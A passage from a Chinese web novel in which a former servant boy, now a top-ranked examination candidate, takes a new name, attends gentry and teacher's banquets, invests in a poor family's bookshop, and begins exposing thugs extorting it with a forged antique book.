从此,世间再无任人欺辱的书童苏小九。
只有童生案首苏惟瑾,苏玉衡!
钱书吏双手将新的户籍凭证奉上,
笑容满面:
“苏相公,办妥了!恭喜恭喜!”
苏惟瑾接过那还带着墨香和印泥味的凭证,
心中激荡,面上平静,微微颔首:
“有劳钱先生。”
顺手从怀中取出一小块约莫一两的碎银,放在案上。
“一点茶资,不成敬意。”
钱书吏眼睛一亮,
飞快地将银子扫入袖中:
“苏相公太客气了!
以后但凡有用得着的地方,
尽管开口!”
走出户房廨房,
午后的阳光毫无保留地倾洒在苏惟瑾身上。
他抬起手,看着阳光透过指缝,
照亮了那张崭新的户籍。
七叔公激动地老泪纵横,
拍着他的肩膀:
“好!好!惟瑾!玉衡!好名字!
我苏家振兴有望!有望啊!”
身后的苏家族人纷纷上前道贺,
脸上洋溢着与有荣焉的兴奋,
俨然苏惟瑾的成功就是他们所有人的荣光。
“惟瑾!以后可要多多提携族中兄弟啊!”
“玉衡这表字起得好!有学问!”
“咱们苏家,总算出了个文曲星!”
苏有才、苏有德两兄弟,
远远躲在人群后面,脸色灰败,眼神复杂。
他们看着被众星拱月般的苏惟瑾,
想起自己曾经的所作所为,
肠子都快悔青了。
苏有德偷偷扯了扯苏有才的袖子,低声道:
“三哥,当初要是……”
苏有才烦躁地甩开他的手,
狠狠瞪了他一眼,心里却是一片冰凉。
而一些机灵的族人,
已经将目光投向了老宅方向,
心里盘算着该如何与苏婉那丫头处好关系,
毕竟谁都知道,苏惟瑾最疼他这个妹妹。
苏惟瑾小心翼翼地将户籍凭证收好,
放入怀中最贴身的位置。
这一步,终于踏实了。
名字,是符号,也是宣言。
苏惟瑾,字玉衡。
这不仅仅是一个新的开始,
更是一份对过去的告别,
对未来的承诺。
惟精惟一,坚守信念。
如瑾如衡,砥砺前行。
他目光抬起,越过喧闹的人群,
望向苏家老宅的方向,
仿佛能穿透墙壁,
看到那个正在翘首以盼的瘦小身影。
“婉妹,”
他在心中轻声说道,
嘴角泛起一丝温柔的笑意。
“从今日起,哥哥有名有姓,有籍有家。
再无人可轻贱你我。
我们的好日子,才刚刚开始。”
他的科举之路,终于有了一个堂堂正正的起点。
接下来,便是安心备考院试,
将那“童生”二字,彻底换成“秀才”!
目光清澈而坚定。
第54章 宴无好宴,乡绅来相邀
苏惟瑾更名立户,
彻底摆脱奴籍的消息,
胜如在沭阳这潭不算深的池水里又投下了一块巨石,
涟漪层层扩散,波及到了县城里每一个有头有脸的人物家中。
先前,众人虽知他得了府试案首,
但毕竟顶着个“张家书童”的尴尬名头,
许多自诩身份的乡绅富户还在观望,
甚至私下里不乏鄙夷之语,
认为此人出身卑贱,
即便一时侥幸,终究难登大雅之堂,
未来的前程也必然有限。
可如今,**契一撕,户籍一改,
“苏惟瑾”这三个字便真正落在了沭阳县的黄册上,
旁边还赫然标注着“府试案首”!
这就完全不同了!
这意味着他洗白了出身,
拥有了完整的士子身份,
更重要的是,
他展现出的那种果决狠辣(硬刚张家)和背后若隐若现的学政赏识,
让所有人都不得不重新掂量他的分量。
于是,苏家那破败的西街小院,
竟在短短一两日内,
迎来了前所未有的“热闹”。
平日里对七叔公都爱搭不理的左邻右舍,
如今见了面老远就堆起笑脸打招呼;
几个平日里与苏家八竿子打不着的“体面人”,
也拐弯抹角地提着点心匣子上门,
美其名曰“恭贺苏相公高中”;
甚至还有媒婆探头探脑,
试图打听这位新晋案首是否婚配,
吓得七叔公赶紧以“一心举业,
暂不论婚嫁”为由堵了回去。
而这其中,最引人注目的,
便是几封制作精美、措辞谦恭的请柬。
“沭阳孙府,恭请苏惟瑾苏相公,
于明日午间过府赴宴,略备薄酒,以为贺。”
“城东李员外府上赏春宴,
恳请苏案首拨冗光临…”
“王记绸缎庄东家……”
送请柬的家丁个个衣着光鲜,
态度恭谨,与往日苏家门前冷落车马稀的景象形成了鲜明对比。
七叔公拿着那几封请柬,
手都有些发抖,既是激动,
又有些无措。
孙家!那可是沭阳数一数二的乡绅,
孙志远的祖父孙万年更是致仕的员外郎!
李家、王家也都是县城里有名的富户!
这些人家,往日里西街苏氏连门槛都摸不着,如今却主动递来了帖子!
“惟瑾,你看这…”
七叔公将请柬递给苏惟瑾,语气带着征询。
苏惟瑾接过请柬,
目光淡淡扫过,尤其是在“孙府”那封上停留了片刻。
超频大脑冷静地分析着:
宴无好宴。
无非是趋炎附势,探听虚实,
甚至可能暗藏敲打。
孙家…孙志远恐怕也在场。
去不去?自然要去!
不仅要去了,还要去得漂亮!
“七叔公,回复孙家,明日必准时赴约。”
苏惟瑾将其他请柬放下,
只拿了孙家那一封。
“其余几家,婉言谢绝,
只说院试在即,需专心备考,
不便多赴宴饮。”
擒贼先擒王,打脸要打疼。
孙家是本地乡绅的代表,
更是孙志远的本家,
这场宴席,无疑是观察风向、
试探深浅的最佳场合。
七叔公有些担心:
“孙家…那孙志远怕是…”
“无妨。”
苏惟瑾嘴角勾起一丝若有若无的弧度。
“正要会会他。”
次日午前,苏惟瑾依旧是一身半旧青衫,
却浆洗得干干净净,
熨烫得平平整整。
他没有刻意打扮寒酸来自显清高,
也没有借银子置办华服来充门面,
就这么从容自若地走向位于沭阳城中心地带的孙府。
孙府宅邸远比张家更为气派,
不是那种暴发户式的炫耀,
而是透着世代积累的底蕴和文化气息。
高墙深院,门楣上挂着“诗书传家”的匾额,
门口的家丁训练有素,
见到苏惟瑾,虽不认识,
但见其气度不凡,并未怠慢,
恭敬地问明身份后,便引他入内。
穿过几重仪门,
来到一处布置精巧的花厅。
厅内已是宾客云集,
沭阳县有头有脸的乡绅富户来了大半,
个个绫罗绸缎,言笑晏晏。
空气中弥漫着酒香、
茶香和熏香的味道。
苏惟瑾一出现,立刻吸引了所有人的目光。
惊讶、好奇、审视、探究…
各种视线交织在他身上。
许多人都是第一次见到这位传说中的“案首书童”,
见他如此年轻,衣着朴素,
却身姿挺拔,面容清俊,
眼神沉静如水,
并无半分局促或谄媚,
不由都在心中暗暗称奇。
“哎呀!这位便是苏惟瑾苏相公吧?
果然是少年英才,一表人才!”
一个胖胖的乡绅率先反应过来,笑着迎上来。
“久仰久仰!
苏案首文章惊动学政,
实乃我县之光啊!”
“英雄出少年!佩服佩服!”
一时间,阿谀奉承之声不绝于耳,
众人纷纷围拢过来,
热情得仿佛多年老友。
苏惟瑾面带微笑,
一一拱手还礼,举止得体,
言语谦和:
“各位前辈谬赞了,
小子侥幸,实不敢当。”
“蒙学台大人错爱,晚辈唯有勤学以报。”…
他应对自如,既不冷落谁,
也不特别亲近谁,分寸拿捏得极好,
让一些本想看他笑话、
觉得他可能上不了台面的人暗暗失望。
然而,在这片热情洋溢的氛围中,
有一道目光却冰冷如刺,始终锁定着他。
苏惟瑾似有所觉,抬眼望去。
只见花厅角落,
孙志远正端着一杯酒,
面无表情地看着他。
今日孙志远穿着一身宝蓝色杭绸直裰,
头戴方巾,依旧是翩翩公子打扮,
只是那脸色着实算不上好看,
勉强维持着基本的礼仪,
眼神里的嫉妒、不甘和轻视却几乎要满溢出来。
两人目光在空中短暂相接,
孙志远像是被烫到一样,
迅速移开视线,
假装与身旁之人说话,
但那僵硬的侧脸和微微泛白的指节,
暴露了他内心的不平静。
他怎能平静?
昔日被他视为粗鄙奴仆、
连正眼都懒得给的人,
如今却成了府试案首,
风光无限地站在这里,
接受着他家长辈和本地乡绅的追捧!
而他孙志远,堂堂员外郎之孙,
县学廪生,却成了陪衬!
这口气,他如何咽得下?
很快,宴会开始。
孙万年在主位作陪,
这位致仕的老官员须发皆白,
面容清癯,眼神锐利,
带着久居官场的威仪。
他倒是显得颇为大度,
举杯向苏惟瑾敬酒:
“苏相公年少有为,
一举夺魁,老夫听闻亦是欣喜不已。
望你戒骄戒躁,院试再创佳绩,
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为我沭阳争光。”
话说得漂亮,眼神却带着审视,
仿似在评估一件物品的价值。
苏惟瑾起身,双手举杯,姿态放低,
话却说得不卑不亢:
“孙老大人谬赞。
晚辈才疏学浅,
惟谨记‘惟精惟一’之训,
埋头苦读罢了。
至于功名,尽人事,
听天命,不敢强求,
但求无愧于心。”
“惟精惟一?
好!说得好!”
孙万年眼中闪过一丝异色,
这少年应对得体,
引经据典信手拈来,
确实不像个普通农家子,
更无半分奴仆的畏缩。
席间,众人推杯换盏,
话题自然围绕着科举、
文章以及即将到来的院试。
不时有人“请教”苏惟瑾对某篇经义的看法,
或是对时政的见解,
看似讨教,实则暗藏考较。
苏惟瑾超频大脑运转,
引经据典,侃侃而谈,
观点往往新颖独到,
却又能在传统框架内自圆其说,
听得众人时而惊叹,时而沉思。
即便遇到刁钻问题,
他也能巧妙化解,
或是以“晚辈浅见,
恐贻笑大方”谦逊带过,
让人抓不住错处,反而更觉其深不可测。
整个宴席,他俨然成了绝对的中心。
孙志远被完全边缘化,
几乎插不上话,脸色越来越青,
只能一杯接一杯地喝着闷酒,
心中的妒火几乎要将他烧穿。
宴至中途,孙万年似乎无意间提起:
“听闻苏相公与张家似乎有些…误会?”
来了。
正题来了。
席间顿时安静下来,
所有人都竖起了耳朵。
苏惟瑾放下筷子,
微微一笑,笑容却有些淡:
“劳老大人动问。
并非误会,只是拿回本该属于自己的东西,
断了一些不该有的牵扯罢了。
如今尘埃落定,晚辈只想安心读书,
过往之事,不必再提。”
他轻描淡写,
将一场惊心动魄的对抗定义为“拿回东西”,
既表明了态度,又堵住了后续话题,
显得大度又干脆。
孙万年深深看了他一眼,
呵呵一笑:
“少年人豁达,甚好,甚好。”
便不再多问。
宴席终了,众人告辞。
孙万年竟亲自将苏惟瑾送到二门,
又让管家奉上了一份不算轻的“程仪”(路费),
说是资助他院试之用。
苏惟瑾略作推辞便收下,
他知道这是孙家的投资,也是规矩。
走出孙府大门,
午后的阳光照在身上。
身后的高门大院依旧繁华,
里面的欢声笑语似乎仍在继续。
苏惟瑾回头望了一眼那气派的门楣,
嘴角勾起一抹不易察觉的冷笑。
趋炎附势,世态炎凉,
今日他算是真切地体会了一番。
这些笑脸和奉承,有多少是真心?
又有多少是建立在他的“利用价值”之上?
他与孙志远的梁子,
今日非但未解,反而结得更深了。
不过,无妨。
他握了握袖中那沉甸甸的程仪,
目光投向远方。
院试,才是下一个真正的战场。
这些虚与委蛇的应酬,
不过是狂飙路上的些许尘埃罢了。
他整了整衣襟,
步履沉稳地向着西街的方向走去。
背影依旧清瘦,却带着一股一往无前的锐气。
第55章 赵府做客,教谕探心性
孙府的宴席余波未平,
另一份截然不同的请柬,
送到了西街苏家小院。
这份请柬材质普通,
不过是常见的青灰色笺纸,
字迹却端正清劲,
透着读书人的风骨,落款是
——沭阳县学教谕,赵明远。
内容也简单,只说听闻苏相公学业精进,
心中甚喜,若得闲,
可过府一叙,探讨经义,以备院试。
没有浮夸的吹捧,没有功利的拉拢,
只有一份纯粹的、属于文人之间的邀请,
以及师长对后辈的关怀提携之意。
七叔公捧着这份请柬,
手稳了许多,脸上露出由衷的笑容:
“赵教谕是真正的读书人,清正端方。
他能请你,是看重你的才学,惟瑾,此去当虚心受教。”
苏惟瑾郑重接过请柬,心中亦有一丝暖意。
与孙府那场充斥着虚情假意的宴席不同,
赵明远的邀请,更符合他对于“师者”的想象。
次日,苏惟瑾依旧是一身洁净青衫,准时来到赵府。
赵家宅院不大,
位于县学附近的一条清静小巷,
白墙黛瓦,门前种着几丛翠竹,
显得清雅脱俗。
叩响门环,开门的是一位老仆,
态度和气地将苏惟瑾引入院内。
院子不大,却收拾得十分整洁,
墙角栽着几株梅树(虽已过季),
一旁还有个小小花圃,
种着些常见的花草,
可见主人家的雅趣和生活情趣。
空气中飘着淡淡的墨香和茶香,
而非熏香。
“苏相公来了,老爷在书房等候。”
老仆引着他走向正屋旁的一间厢房。
书房门开着,赵明远正临窗伏案,书写着什么。
他今日未着官服,
只一件半旧的藏青色直裰,
更显儒雅。
见苏惟瑾到来,他放下笔,
脸上露出温和的笑意:
“惟瑾来了,坐。”
“学生见过教谕大人。”
苏惟瑾依足礼数,恭敬行礼。
“不必多礼,今日只论学问,不论官职。”
赵明远摆手让他坐下,
目光落在苏惟瑾身上,
带着毫不掩饰的欣赏和探究。
就在这时,门外传来轻微的脚步声,
一道窈窕的身影端着一个红漆茶盘走了进来,
正是赵文萱。
她今日穿着一身淡雅的藕荷色襦裙,
未施粉黛,发间只簪着一支简单的玉簪,
清丽如出水芙蓉。
见到苏惟瑾,
她白皙的脸颊微微泛上一丝不易察觉的红晕,
垂下眼睫,将茶盘放在桌上,
声音轻柔:
“父亲,苏…苏相公,请用茶。”
“有劳赵小姐。”
苏惟瑾起身拱手,
目光与赵文萱的视线有一瞬间的接触,随即自然分开。
两人心中都想起那日在茶寮的“借书”与“笔记”,
一种微妙的默契在无声中流淌。
赵文萱斟完茶,并未立刻离开,
而是安静地侍立在一旁,
一副准备聆听教诲的乖巧模样。
赵明远看了女儿一眼,笑了笑,并未阻止。
寒暄几句后,赵明远便切入了正题。
他并未一上来就问那些惊世骇俗的策论观点,
而是先从四书五经的基础义理问起,
考校苏惟瑾的基本功。
苏惟瑾超频大脑运转,对答如流。
他不仅能将朱注等权威注解背得滚瓜烂熟,
更能在此基础上,提出一些自己的、
不逾越框架却又颇有见地的理解,
显示出极强的融会贯通能力。
赵明远听得连连颔首,
眼中赞赏之色愈浓。
基本功如此扎实,远超他的预期。
聊完经义,又论诗赋。
赵明远拿出苏惟瑾府试那首咏史诗的原稿(誊录前的),
指着其中“长河落日圆,秋风铁马嘶”一句,问道:
“此句气象雄浑,颇有盛唐边塞之风。
你年纪轻轻,未曾经历边关,
如何能写出这般意境?”
苏惟瑾早有准备,从容答道:
“回教谕,学生虽未亲临边塞,
然平日喜读史书,遥想汉唐雄风,
心向往之。
加之…学生出身军户,
虽家道中落,然祖辈亦曾驰骋沙场,
或许血脉中尚存一丝铁血之念,
下笔时不自觉便流露出来。”
他将原因归结于读史和血脉传承,
合情合理,令人信服。
赵明远抚须赞叹:
“好一个血脉传承!
读书能读到身临其境,
下笔能有家国情怀,殊为不易!”
终于,话题不可避免地引向了那篇石破天惊的策论。
赵明远神色变得郑重起来:
“惟瑾,你策论中提及‘水则观测,
数据预警’,‘植被固土’,
乃至‘治水如治军,
须系统筹划’等观点,
实在令人耳目一新。
这些想法…究竟从何而来?
老夫翻遍典籍,
亦难寻完全契合之论。”
来了,核心问题。
赵文萱也悄然抬眸,
目光盈盈地望向苏惟瑾,
带着浓浓的好奇与期待。
苏惟瑾心念电转,
态度愈发谦逊:
“教谕明鉴。
这些粗浅想法,并非学生凭空杜撰。
一是源于杂书。”
他顿了顿,解释道:
“学生往日…在张家时,
曾偶然整理过一些蒙尘的旧书箱,
内中有几本残破的前人笔记札记,
似是些不得志的师爷或河道小吏所著,
记录了些零散的治水心得与异想天开之念,
当时觉得有趣,便记了下来。”
(完美甩锅给无从考证的“残破杂书”)
“其二,”
他继续道,语气真诚。
“便是源于观察与胡思乱想。
学生见沭水年年治理,
却岁岁泛滥,便常思考根源何在。
见百姓垦荒导致水土流失,
便想是否可种树固土;
见官府治水头痛医头,
便想是否该如将军排兵布阵般统筹全局…
这些胡思乱想,不成体系,让教谕见笑了。”
他将超越时代的理念,
归结于“杂书”的启发和个人的“观察思考”,
既解释了来源,
又显得自己好学深思,而非妖孽。
赵
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明远听得目光炯炯,抚掌称善:
“好!好一个‘观察与胡思乱想’!
读书人便该如此,
不唯书,不唯上,只为实!
能于细微处见真知,
于平凡处发奇想,
这才是真正的治学精神!”
他越看苏惟瑾越是喜爱,
此子不仅天赋异禀,
更难得的是心态端正,
踏实肯思,绝非那些只会死读书或者夸夸其谈之辈可比。
“只是,”
赵明远话锋一转,
带着师长般的关切与提醒。
“院试不同于府试,
主考多为翰林清流,
更重经典根基与文章法度。
你这些‘奇思妙想’,
需得以扎实学问为根基,
以规范文法来表达,
方能为考官所接纳,
切记不可过于锋芒毕露,
给人以离经叛道之感。”
这是真心实意的提点金玉良言。
苏惟瑾肃然起敬,起身长揖:
“学生谨记教谕教诲!
定当夯实根基,谨慎行文,
不负大人期望!”
赵文萱在一旁听着,
见父亲与苏惟瑾相谈甚欢,
言语间满是欣赏与期许,
又见苏惟瑾应对得体,谦逊有礼,
才华横溢却又不失稳重,
那双清澈眼眸中的欣赏之意,
几乎要满溢出来。
她下意识地又上前,
为两人的茶杯续上热水,
动作轻柔,眉眼低垂间,
自有一番难以言喻的情愫流动。
赵明远将女儿的小动作看在眼里,
心中微微一动,却并未点破,
只是对苏惟瑾笑道:
“今日一叙,老夫甚慰。
院试在即,你若有疑问,
可常来府上探讨。
望你戒骄戒躁,一举进学!”
“多谢教谕!学生定当努力!”
又闲聊片刻,
苏惟瑾方才起身告辞。
赵明远亲自将他送到书房门口,
赵文萱则跟在父亲身后,
微微屈膝行礼相送。
离开赵府,走在清幽的小巷中,
苏惟瑾的心情与离开孙府时截然不同。
赵明远的认可,
是纯粹的、基于学问的欣赏,
这份知遇之恩,令他心生暖意。
而赵文萱那无声的注视与细微的关切,
更如涓涓细流,
滋润着他穿越以来始终紧绷而孤寂的心田。
这是一种正向的、积极的情感反馈,
与他面对张家、孙家时的勾心斗角截然不同。
超频大脑清晰地记录下这份感觉,
并分析其价值:
获得本土正统文人圈层的认可,
至关重要。
与赵家保持良好的关系,利大于弊。
他回头望了一眼那掩映在翠竹中的小院,目光柔和。
院试的目标,变得更加清晰和迫切。
不仅要中,还要中得漂亮。
如此,方能不辜负这些真正的期待,
也能让自己在这条狂飙之路上,
走得更稳,更远。
清风拂过巷弄,带来远处书院的隐约读书声。
苏惟瑾深吸一口气,步伐坚定地向着家的方向走去。
前路虽仍有荆棘,但已有微光照亮。
第56章 芸娘欣喜,惟瑾赠银报恩
从清雅静谧的赵府巷弄走出,
苏惟瑾并未直接回家。
七叔公今日去了族中处理些琐事,
他心中却还惦念着另一处更早给予他温暖的地方。
拐过几个街口,
周遭的景致从读书人的清幽逐渐变为市井的喧闹,
最后停在一处临街的狭窄铺面前。
这里便是陈家的书铺了,
与其说是书铺,
不如说是个代写书信、
兼卖些便宜笔墨纸张并零星话本野史的小摊档扩出来的门脸。
门楣低矮,挂着一块旧木匾,
上书“陈氏书坊”四个已有些模糊的字。
铺面不大,里面光线有些暗,
靠墙立着两个斑驳的书架,
架上书籍并不甚多。
空气中弥漫着旧纸张和墨锭特有的味道,
混杂着从后院飘来的淡淡药香。
苏惟瑾站在门口,
稍稍适应了一下光线的变化,
便看见柜台后,
一个穿着洗得发白的浅碧色襦裙的少女正踮着脚尖,
费力地想将一摞新订好的账本放到高处货架上去。
那少女身量未足,体态纤细,
侧面看去,鼻尖沁出细密的汗珠,
脸颊因用力而微微泛红,正是陈芸娘。
“芸娘。”苏惟瑾出声唤道,声音不自觉放轻柔了些。
陈芸娘闻声吓了一跳,
手一抖,那摞账本眼看就要滑落。
苏惟瑾一个箭步上前,伸手稳稳托住。
“苏…苏相公?”
陈芸娘转过身,见到是苏惟瑾,
脸上瞬间飞起两朵红云,
手忙脚乱地敛衽行礼,
声音细若蚊蚋。
“您…您怎么来了?快请进。”
她眼神有些慌乱,
下意识地整理了一下并不凌乱的裙摆和鬓角。
眼前的苏惟瑾,早已不是当初那个需要她偷偷塞菜饼子的落魄少年了。
“路过,来看看陈伯父和陈婶婶,还有你。”
苏惟瑾将账本放好,
目光扫过略显空荡的书架和有些冷清的铺面,
心下明了陈家的日子依旧拮据。
超频大脑瞬间回忆起当初昏迷醒来时,
那一块杂粮饼子和少女担忧的眼神,
以及后来几次“自己被处罚”时,
她偷偷塞过来的还带着体温的饼子。
这份雪中送炭的恩情,他从未忘却。
“爹娘都在后头呢,
我…我去叫他们!”
芸娘说着,就要往后院跑。
“不必麻烦,我进去就好。”
苏惟瑾温和地阻止她,
跟着她穿过一道布帘,
走进后面的小天井。
天井更显狭小,一角堆着些杂物,
另一角架着个小泥炉,
正咕嘟咕嘟地煎着药,
浓郁的药味正是由此而来。
陈母正坐在小凳上守着药罐,
见到苏惟瑾,先是吃了一惊,
随即连忙站起来,在围裙上搓着手,
有些无措:
“是…是苏童生啊!
您…您快请坐,
屋里窄,委屈您了。”
她慌忙要去搬屋里唯一一张像样的竹椅。
“婶子千万别客气,我站着就好。”
苏惟瑾赶紧拦住她,
目光看向半开着门的里屋,
压低声音。
“伯父今日身体可好些了?”
提到丈夫,陈母神色一黯,强笑道:
“劳您记挂,还是老样子,
咳得厉害,下不了地。”
苏惟瑾沉吟片刻,道:
“我能进去看看伯父吗?”
“这…这怎么好,屋里病气重,
别冲撞了您…”
陈母连连摆手。
“无妨的。”
苏惟瑾态度坚决,
芸娘也在一旁小声道:
“娘,就让苏相公看看吧…”
陈母这才让开身子。
里屋光线更暗,陈设简单到近乎简陋。
一张板床,一张旧桌。
一个形容枯槁、不断咳嗽的中年男子靠在床头,
正是芸娘的父亲陈伯康。
他见到苏惟瑾,浑浊的眼睛里闪过一丝讶异,
挣扎着想坐起来:
“是…是苏童生?失礼了…”
“伯父快躺着。”
苏惟瑾快步上前扶住他,
顺势坐在床沿,
手指看似不经意地搭在了陈伯康干瘦的手腕上。
超频大脑瞬间启动医学知识库,
脉象浮紧而数,伴有浊音…
“伯父这病,是积劳成体虚,
又感了风寒,邪气入里,
郁而化热,炼液为痰,
痰热壅肺所致。”
苏惟瑾缓缓开口,语气笃定。
“先前大夫开的方子,
可是以温补为主,
兼用了些麻黄、杏仁?”
陈伯康和陈母都愣住了,
尤其是陈伯康,
他自己是读过些书的,
闻言惊疑道:
“苏…苏童生还懂岐黄之术?
所言丝毫不差!
只是这药吃了许久,总不见大好,
反反复复…”
“方子大体是对的,
但或许可稍作调整。”
苏惟瑾道。
“温补之药可稍减,
加入黄芩、桑白皮、瓜蒌仁以清泻肺热,
化痰止咳……”
他语速平稳,引经据典
(现代医学知识经过古代中医术语包装),
说得头头是道,听得陈家三人目瞪口呆。
“这…这…”
陈母又惊又喜,简直不知说什么好。
苏惟瑾却已从怀中取出一个早就准备好的、
沉甸甸的青色布囊,
不由分说地塞到陈母手中:
“婶子,这里有些银两,您收着。
给伯父换个好些的大夫,
抓几副好药,
再买些滋补调养的东西。
务必让伯父安心养病。”
陈母一掂那重量,
吓得就要推回来:
“使不得!使不得!
苏童生,这太多了!
我们怎么能收您这么重的礼!
往日那些…不过是一碗粥一张饼,
不值当的!您快拿回去!”
床上的陈伯康也急得连连咳嗽,
挣扎着拒绝。
芸娘也在一旁急得眼圈发红,
跟着母亲一起推拒。
苏惟瑾看着陈家三人虽困窘却坚决不肯受惠的样子,
心中涌起的是一丝真正的惭愧和感动。
他方才的举动,虽出于报恩,
却带着一种居高临下的“施舍”意味。
超频大脑瞬间重新计算,调整策略。
他收回钱袋,
在陈家三人稍稍松口气却又有些失落(毕竟确实急需钱)的复杂目光中,
话锋一转,语气变得诚恳而务实:
“是惟瑾考虑不周了。
伯父,婶子,芸娘,
既然如此,那我换个说法。”
他目光扫过这间逼仄的屋子,
看向外间的书铺:
“伯父这书铺,地段尚可,
只是经营上或许有些难处。
我如今虽进了学,
往后笔墨文章、诗词唱和乃至科举程文的需求只会更多。
我想与伯父合作,
我以这五十两银子入股书铺,
不算借贷,算是东家之一。
伯父可用这钱扩充书目,
采购些时新的科举范文、诗词选集,
或是寻些有趣的话本小说来刻印售卖。”
他顿了顿,看向眼中重新燃起光彩的陈伯康:
“不瞒伯父,我平日也有些拙作,
诗词策论乃至小说杂文,
日后若写成,便可放在咱们铺子里刊印发售。
所得利润,按股分成。
如此,既解决了我的文稿刊印之需,
也能让书铺生意有所起色,
更能让伯父
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一家有个长久的进项,
安心养病。
您看如何?”
这一番话,合情合理,既给予了帮助,
又充分尊重了陈家的自尊心,
更描绘了一个切实可行的、
互利共赢的未来蓝图。
不是施舍,是合作!是投资!
陈伯康浑浊的眼睛猛地亮了起来,
呼吸都急促了几分。
他是个读书人,自然看得出这其中蕴含的机遇!
苏惟瑾如今是沭阳风头最劲的才子,
他的墨宝文章,多少人求而不得!
若真能放在自家铺子刊印…
这哪里是送钱,这简直是送了一座会移动的金山过来!
“这…这…苏…
苏相公此言当真?
老朽…老朽这破落铺子,
何德何能…”
“伯父的手艺和信誉,
便是最大的资本。”
苏惟瑾微笑。
“若您同意,我们便可立个简单的契书。”
“同意!自然同意!”
陈伯康挣扎着想要下床,
被陈母和芸娘按住,他连连道。
“老婆子,快!
快拿纸笔来!请苏相公立契!”
陈母此刻也明白了过来,
喜极而泣,连忙去取笔墨。
芸娘站在一旁,看着苏惟瑾,
眼中充满了难以置信的惊喜和深深的感激。
她看着苏惟瑾认真书写契书的侧脸,
心跳得厉害,脸颊绯红,
连忙低下头去,
心中那份朦胧的情愫,
此刻如同被春雨浇灌的种子,悄然破土。
很快,一份简单的合伙契书写就,
双方签字画押。
苏惟瑾将五十两银子再次拿出,
这次陈母接得无比踏实,脸上笑开了花。
这边的动静早已惊动了左邻右舍,
不少人都探头探脑地张望。
当看到苏惟瑾从陈家出来,
陈母和芸娘满脸喜色地相送,
又隐约听到“入股”、“合伙”、“刊印文章”等词语,消息很快传开。
“瞧瞧人家苏童生!真是知恩图报啊!”
“陈家这是时来运转了!”
“有才又有德,这样的后生,真是难得!”
邻里们的议论充满了羡慕和赞誉。
苏惟瑾在门口,对送出来的陈母和芸娘温言道:
“婶子,芸娘,以后我会常来看望伯父,也会将文稿送来。
铺子有什么事,也可让芸娘去西街寻我。”
“哎!哎!多谢苏相公!您慢走!”
陈母连声应着。
芸娘鼓足勇气,
抬起水汪汪的眼睛看了苏惟瑾一眼,
声如蚊蚋却清晰地道:
“苏…苏相公,多谢你。”
千言万语,都融在了这一句道谢和那欲说还休的眼神里。
苏惟瑾对她微微一笑,点了点头,
这才在邻里们赞赏的目光中,转身离去。
脚步轻快,心中一片温润舒畅。
报答恩情,原不该是居高临下的施舍,
而是彼此尊重、互相成就。
这种感觉,比在诗会上碾压对手,
比在考场上惊艳考官,
更让他觉得踏实和愉悦。
他走出巷口,融入街道的人流,
超频大脑仍在处理方才接收到的信息
——陈母在接过银两时,除了喜悦,
眼底深处似乎还藏着一丝不易察觉的忧虑,
以及芸娘在送别时,欲言又止的神情。
她们似乎还有什么难处未曾言明。
“或许,只是我多心了。”
苏惟瑾心道,将这细微的异样暂且压下。
然而,他并不知道,一场针对陈氏书铺、
或者说,是针对他这位新晋合伙人的风波,
已然在暗处悄然酝酿。
就在他离开后不久,
几个鬼鬼祟祟的身影,
便出现在了书铺对面的街角…
第57章 无赖讹诈陈氏铺,惟瑾巧计退宵
苏惟瑾揣着与陈家新立的契书,
心中暖意未散,
步履轻快地刚拐出巷口,
将那市井的喧嚣稍稍甩在身后,
忽听得身后隐约传来一阵拔高的、
极不和谐的吵闹声,
其中似乎还夹杂着芸娘带着哭腔的争辩和陈母惊慌的劝阻。
声音的来源,正是刚离开的陈氏书铺!
苏惟瑾眉头一拧,没有丝毫犹豫,
立刻转身,加快脚步循声返回。
还未到店门口,
就听见一个破锣嗓子在那嚷嚷:
“……少他妈废话!
老子在你们这买的宋版《礼记》,
宝贝似的供着,
回去一翻才发现是他妈缺页少码的残次品!
这可是祖传的宝贝,
让你们这破店给糟践了!
今天不赔老子五十两银子精神损失费,
老子就砸了你这骗人的铺子!”
另一个尖细的声音帮腔:
“就是!看把陈老头气的,
话都说不利索了,是不是理亏啊?
赶紧赔钱!
不然报官抓你们这些奸商!”
苏惟瑾一步跨进店门,
只见铺子里一片狼藉。
几个书架被推得歪斜,
几本可怜的蒙书散落在地。
陈母脸色煞白,
扶着气得浑身发抖、
不住咳嗽的陈伯康。
芸娘则张开双臂,
像只护崽的母鸡般挡在父母身前,
眼圈通红,却又强忍着恐惧与三个一看就不是善茬的地痞无赖对峙。
为首的是个满脸横肉、
敞着怀露出胸毛的壮汉,
手里挥舞着一本看起来确实颇为古旧、线装发黄的书。
另外两个,一个瘦高像个竹竿,
一个矮胖像个冬瓜,
正不怀好意地四处打量,
手脚不干净地拨弄着架上的物品。
“怎么回事?”
苏惟瑾声音不高,
却带着一种奇异的穿透力,
瞬间让店内的嘈杂一静。
“苏相公!”
芸娘见到他,如同见了主心骨,
差点哭出来,委屈和害怕瞬间涌上。
“他们…他们非要讹诈…”
那横肉壮汉斜眼打量了一下苏惟瑾,
见他年纪轻轻,穿着普通(虽是青衫但并非绫罗绸缎),
虽气质不凡,但估摸着也就是个寻常书生,
顿时嗤笑一声:
“哟呵?哪来的小白脸?
想英雄救美啊?
滚一边去!别妨碍大爷办正事!”
苏惟瑾没理他的污言秽语,
先对芸娘投去一个安抚的眼神,
然后走到陈伯康身边,
低声道:“伯父勿急,万事有我。”
简单一句话,
却让气得快晕过去的陈伯康奇迹般地缓过一口气,
抓着他的袖子,艰难地道:
“苏…苏相公…他们…拿本假书…讹人…”
苏惟瑾点点头,
这才转向那横肉壮汉,
目光平静地落在他手中那本“古籍”上,
淡淡道:
“你说这书是在这儿买的宋版《礼记》?还是残次品?”
“废话!不是这买的还能是哪儿?
白纸黑字…呃,黄纸黑字!
还想抵赖?”
壮汉把书往苏惟瑾面前一递,
唾沫星子几乎喷到他脸上。
苏惟瑾微微侧身避开,
不慌不忙地接过那本书。
超频大脑瞬间启动,
视觉、触觉、嗅觉感知提升到极致。
书一入手,他心下便冷笑一声。
重量不对,宋刻本用纸考究,
手感绵韧,这书却略显轻飘压手。
他仔细翻看封面和书脊,
装帧线用的是染成暗黄色的棉线,
看似古旧,但线脚处却能看到些许现代纺线的均匀质感,
而非手工麻线的粗粝。
再看纸张,颜色黄旧得极不自然,
均匀得像是批量熏染而成,
而非自然氧化。
指尖轻轻摩挲,纸质偏硬且脆,
缺乏宋纸特有的柔韧感。
他翻开内页,墨色倒是黝黑,
但浮于纸面,
缺乏历经岁月沉淀后“墨浸纸背”的沉实感。
更绝的是,他一眼扫过版心(书口处),
